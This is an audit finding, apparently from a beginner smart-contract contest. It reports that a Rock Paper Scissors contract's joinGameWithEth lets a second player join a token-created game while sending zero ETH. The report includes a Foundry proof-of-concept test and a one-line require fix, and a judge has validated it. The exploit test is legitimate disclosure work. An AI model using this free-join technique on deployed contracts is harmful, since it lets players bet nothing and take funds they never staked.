Rock Paper Scissors
First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Inconsistent Checks On game.bet Value In `RockPaperScissors.sol::joinGameWithEth` Function Allows A Player B To Join Game Without Staking

w33ked

Description

RockPaperScissors.sol::joinGameWithEth checks that msg.value == game.bet, but fails to check that the game with provided gameId was created with ETH using createGameWithEth function.
A player could call createGameWithToken. This will transfer 1 token to the game contract.
A player B could join the game using joinGameWithEth setting msg.value as 0.

This will pass since game data for provided gameId is stored as zero.

Impact

Players can play without staking

Unfair conpetition where only one player stakes

Contract could loose eth, since 50% of player could play for free, and in the event of a win, claim where they never placed a bet.

Proof of Concept

Add this test suit to RockPaperScissorsTest.t.sol

function testJoinGameWithEthIsFlawed() public {
// player A creates game with token
uint256 playerATokenBefore = token.balanceOf(playerA);
​
vm.startPrank(playerA);
token.approve(address(game), 1);
gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
​
uint256 playerABalanceAfter = token.balanceOf(playerA);
​
assertEq(playerATokenBefore - playerABalanceAfter, 1);
​
uint256 playerBBalanceBefore = token.balanceOf(playerB);
​
vm.startPrank(playerB);
game.joinGameWithEth{value: 0}(gameId);
vm.stopPrank();
uint256 playerBBalanceAfter = token.balanceOf(playerB);
​
assertEq(playerBBalanceAfter, playerBBalanceBefore);
​
(address storedPlayerA, address storedPlayerB,,,,,,,,,,,,,, RockPaperScissors.GameState state) =
game.games(gameId);
​
assertEq(storedPlayerA, playerA);
assertEq(storedPlayerB, playerB);
}

Run forge test --mt testJoinGameWithEthIsFlawed

Tools Used

Manual Review

Recommended mitigation

Add check to ensure game was created with ETH

function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
​
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
// @audit - should check if game was created using createGameWithEth
// can join game created using createGameWithToken without spending ETH or Tokens
+ require(game.bet > 0, "Game Was Created With Token");
require(msg.value == game.bet, "Bet amount must match creator's bet"); // must be 1ETH
​
game.playerB = msg.sender;
// game.GameState = Joined
emit PlayerJoined(_gameId, msg.sender);
}
​
Updates

Appeal created

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Game Staking Inconsistency

joinGameWithEth function lacks a check to verify the game was created with ETH

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Game Staking Inconsistency

joinGameWithEth function lacks a check to verify the game was created with ETH

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.